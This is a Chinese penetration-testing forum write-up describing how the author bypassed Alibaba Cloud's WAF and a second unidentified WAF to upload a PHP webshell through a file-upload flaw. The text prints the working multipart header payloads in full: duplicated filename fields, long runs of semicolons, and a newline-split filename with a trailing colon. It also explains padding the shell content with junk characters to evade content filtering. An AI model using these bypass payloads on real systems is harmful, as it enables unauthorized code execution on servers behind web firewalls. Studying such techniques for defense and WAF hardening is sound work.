问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次绕过阿里云waf与某不知名waf的双waf上传getshell
渗透测试
本文记录了一次绕过阿里云waf与某不知名waf的双waf上传getshell
0x00:前情提要 --------- 某次项目遇到一个站点,发现后台存在任意文件上传,简单探测一下,发现是阿里云waf。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8e5180da1d25e8fcb0c63cf49959f9f32caf2086.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-007a37afc671c87204fd01caa051a46ad7560575.png) 那必须开绕了 0x01:fuzz --------- 之前没有过对阿里云waf的上传绕过,所以要从头开始,按流程来。 先来个大部分waf通杀的绕过,大包绕过,结果数据量太大直接无响应,寄 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-336f67950f45505cccf40d2cef3d84454a2282df.png) 尝试单双引号绕过,失败 复写filename,失败 换行绕过,失败 修改boundary,失败 文件名fuzz,失败 .....尝试多次均无果 0x02:柳暗花明 --------- 前几天看见一个姿势拿来试一试。 `Content-Disposition: form-data; name="aaa"; ;filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.php"` 发现最终传上去的是个txt,显然最后的php并没有生效,有效的filename必须是在分号后的filename,所以其实上述payload和下面的payload是等价的,只有第一个filename被接口有效识别了。 `Content-Disposition: form-data; name="aaa";filename="a.txt"` 但是值得注意的是,此payload成功绕过了waf的检测,虽然最终没有上传php文件,但是可能有戏。(由于接口已经没了,所以这里显示404,但是确实绕过了waf) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9640a5f773482e12af3556e9912bbc60122a1121.png) 由于前面我们研究过,只有分号后跟的filename才是有效的filename,所以尝试让前面的filename失效,让最后一个filename生效,构造payload如下 `Content-Disposition: form-data; name="aaa";,filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";` 果然还是被拦截了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-274f7d69c745fd0fcab635eec70b90bea6bc65d0.png) 但是或许可以根据这个payload继续展开一下。 在fuzz的时候还发现这个网站还有一个比较奇怪的地方,就是当filename中的文件名被换行分割的时候,最后一行加入冒号,如下 `Content-Disposition: form-data; name="head_portrait";filename="a.p hp":` 就会将.p作为文件后缀上传 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fe3fb3ba9d6bca18ea8737f33185d75cdf5fb6d5.png) 但是不加这个冒号的话,就会被waf拦截 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1ffa6cb411e71a116f30c79526833af9a213694b.png) 那结合上面的假filename绕过试一试呢 `Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";` 确实不是405了,但是为什么返回变成了502,难道还有高手? ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7993952629696964cef12abdcc1d8c57d287a3ab.png) 将php更换为txt,发现可以正常使用,并不是语法有问题,所以很可能还有个什么waf,难道是百年难遇的双waf出现了? `Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.txt";` 目前看起来没有阿里云waf报错,应该是已经绕过阿里云了,看来想办法绕过502这个就可以了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6183c8b3b844d59efbaba48e5a03b736a34bdaff.png) 多次测试后,发现只要多加几个无效的filename即可绕过502这个waf `Content-Disposition: form-data; name="aaa";,filename="a.t xt":,filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";` 到此成功绕过双waf上传php文件, ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-48420a34dc7c577caedaad7ed20132fff08ba0e1.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-0dd02f18e4eb0e9f4093e5a7ac2d0d3a8c925388.png) 紧接着新的问题出现了,阿里云waf不只拦截filename,它还会拦截文件内容。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9226979f8c22d3ed7da188e5cdfe492b54f7fd74.png) 又来 由于阿里云waf对php脚本内容极其敏感,所以单纯从webshell本身来说是很难绕过的,所以我们需要用一些旁门左道进行绕过,比如垃圾字符,没有塞多少垃圾字符便成功绕过。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e147abeef80ef84bebeb29b6628271bf86858b4a.png) 好景不长,尝试了一些webshell,竟然还是被拦截... ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-624cad87499dc2c18eec75dbff704de21d025aef.png) 掏出大宝贝多试几个 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-129cd3f5df9a9e6fb926243a0fb18e5944c4a6b9.png) 好险有个能用的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3751ece9606da29a5a77f4af948c706d35c34d77.png) 接下来直接连接即可,开梭 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b5f98cdf8e9b527fe39fe1679180afe43bc78f98.png)
发表于 2025-01-23 10:00:01
阅读 ( 925 )
分类:
渗透测试
3 推荐
收藏
0 条评论
请先
登录
后评论
张三一号
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!